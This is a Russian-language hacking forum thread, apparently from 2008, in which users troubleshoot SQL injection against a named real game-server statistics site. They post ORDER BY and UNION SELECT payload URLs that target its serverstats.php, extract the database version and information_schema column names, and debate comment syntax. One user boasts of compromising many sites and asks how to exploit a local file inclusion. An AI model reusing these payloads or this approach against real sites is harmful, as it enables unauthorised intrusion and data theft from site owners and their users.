http://cod5.nov.ru/serverstats.php?serverid=1+order+by+4-- - почувствуй разницу вот http://cod5.nov.ru/serverstats.php?serverid=1+order+by+5-- ???? НУ как??? А то хрень, что написал "Ghost0ff" все БРЕЕЕЕЕДДДД!!! Все делается Э Л Е М Е Н Т А Р Н О ! Можно и без group by !! Главное правильно поставить ' и - ! Практический все сайты которые я взломал, поддавались вот на такое http://site/index.php?page=-1+order+by+x
Нужно перед 1 поставить - ! Ну это обычно в твоем случае ничего ставить ненадо! Насчет поста "geforse" ты знаешь скорей самое простое это вообще ничего не ставить после "4" ))) Воть так http://cod5.nov.ru/serverstats.php?serverid=1+union+select+1,2,3,4 - удачи))

Grey

02.12.2008, 21:18

сайты которые я взломал, поддавались вот на такое http://site/index.php?page=-1+order+by+x
Нужно перед 1 поставить - !

И зачем так нужно делать? Особенно если учесть что это не правильно.
Так нужно делать только потому что ты не знаком с синтаксисом SQL?

BanQui

02.12.2008, 21:20

Хммм в большенстве случаев этот вариант прокатывает!!!

BanQui

02.12.2008, 21:21

Скул инж. я еще хоть как нить знаю но вот с PHP может кто нибуть поможет???

-m0rgan-

02.12.2008, 21:26

Почитай здесь:
http://forum.antichat.ru/thread12123.html

BanQui

02.12.2008, 21:26

Да с синтаксис SQL я знаю неоч! Но факт остается фактом! Этот вариант прокатывает во многих случаях!!!

Grey

02.12.2008, 21:27

Хммм в большенстве случаев этот вариант прокатывает!!!

Гениально! Главное сказать и не важно что не правильно.
Оператор order by сортирует результат запроса, а отсортировывать пустой результат (а со значением -1 другого и не будет) - не самая лучшая идея.
Использовать order by нужно только при существующих значениях.

Ошибка в данном случае была в использование /* - в новых версиях мускула нельзя не закрывать этот комментарий, а значит теперь обходимся комментариями '#' и '-- '.

geforse

02.12.2008, 21:37

Чего опять ему надо ?((

http://cod5.nov.ru/serverstats.php?serverid=1+union+select+1,version( ),3,4-- (безрезультатно()

serverstats.php?serverid=1+union+select+1,column_n ame,3,4+from+information_schema.columns.--
тоже /=

serverstats.php?serverid=1+union+select+1,column_n ame,3,4+from+information_schema.columns.+limit+1,1--

даже версию не посмотреть(

Pashkela

02.12.2008, 21:41

mysql error: The used SELECT statements have a different number of columns

читай:) Сначала кол-во колонок подбери

BanQui

02.12.2008, 21:57

Блин на мой вопрос с ПХП кто нибуть ответит??? Если кто не видел вот он :
Такой вопрос! Если есть сайт и на нем присутствует локальный инклуд! Как можно его раскрутить если на сайт загрузить ничего нельзя(ну по крайней мере такой функции нет в меню на сайта)!? Может есть какие-то пути? Или это просто нашел да и х*р с ним!?

------------------------------------
Почитай здесь:
http://forum.antichat.ru/thread12123.html

Я там не понял как именно добавлять файл! Читал раз 5!!! Как китайский блин!!!